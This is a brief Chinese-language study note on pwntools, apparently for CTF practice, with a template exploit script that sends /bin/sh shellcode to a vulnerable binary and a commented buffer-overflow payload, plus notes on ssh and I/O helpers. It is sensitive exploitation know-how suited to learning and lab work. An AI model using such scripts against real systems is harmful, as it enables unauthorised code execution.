官方文档:http://docs.pwntools.com

常用指令笔记:

0x00 pwn脚本的基本架构
template.py
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(os='linux', arch='i386', log_level='debug')  # 设置环境信息

shellcode=asm(shellcraft.sh())  # 获取执行/bin/bash的shellcode
p = process("./vuln")  # 加载本地程序
# p = process(argv=["./vuln", payload])  # 命令行传参
# p = remote("127.0.0.1", 3838)  # 远程连接
# win_addr = 0x080485cb
# payload = "A"*44+p32(win_addr)
p.sendline(shellcode)
p.interactive()
0x01 用法积累

ssh的使用
    s=ssh(host="hostname",user="username",password="pass", port=2222)  # 建立ssh链接,默认端口可省略port
    s.set_working_directory("/")  # 设置在目标主机上的工作目录
    # s.ls()  # 执行ls命令
    # s.pwd()  # 执行pwd命令
    # s.file('filename')  # 执行 file filename 命令
    # s.interactive()  # 这样会保持ssh连接,效果和直接ssh连接一样。
    p = s.process("./vuln")  # 注意这里要使用s.process()来加载目标主机上的文件



p.recvuntil("mesg")和p.sendline("reply")可以简写为p.sendlineafter("mesg", "reply")